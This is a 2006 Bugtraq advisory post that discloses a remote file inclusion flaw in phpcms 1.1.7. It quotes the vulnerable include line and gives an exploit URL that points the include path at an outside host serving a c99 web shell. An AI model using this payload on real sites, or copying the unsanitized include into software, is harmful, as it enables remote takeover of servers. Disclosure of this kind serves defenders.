bugtraq
[Top] [All Lists]

phpcms <=- 1.1.7 Remote File Inclusion

To: bugtraq@securityfocus.com
Subject: phpcms <=- 1.1.7 Remote File Inclusion
From: Zarloule04@gmail.com
Date: 24 Dec 2006 23:28:20 -0000
Delivered-to: sp-com-lists@consult.net
Delivered-to: bugtraq-list@securepoint.com
Delivered-to: mailing list bugtraq@securityfocus.com
Delivered-to: moderator for bugtraq@securityfocus.com
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@securityfocus.com; run by ezmlm
#phpcms <=- 1.1.7 Remote File Inclusion
#Download Source : #http://phpcms.de/files/phpcms_1_1_7.zip
#Found By : b0rizQ
#Greetz : Nuck3r + Crack_Man + Red_Casper + RaChidox + Broken-Proxy + S4mi

_____________________________________________________

File : class.cache_phpcms.php
--Bugs--------------------------------------
include ($PHPCMS_INCLUDEPATH.'/language.'.$DEFAULTS->LANGUAGE );
        if ( $DEFAULTS->STATS == 'on' )


--------------------------------------------
Exmple And Methode Exploit : 

http://www.traget.***/cms/include/class.cache_phpcms.php?PHPCMS_INCLUDEPATH=http://b0rizq.by.ru/c99.txt?


""""""""""www.b0rizQ.Biz"""""""""""""""""""""

<Prev in Thread] Current Thread [Next in Thread>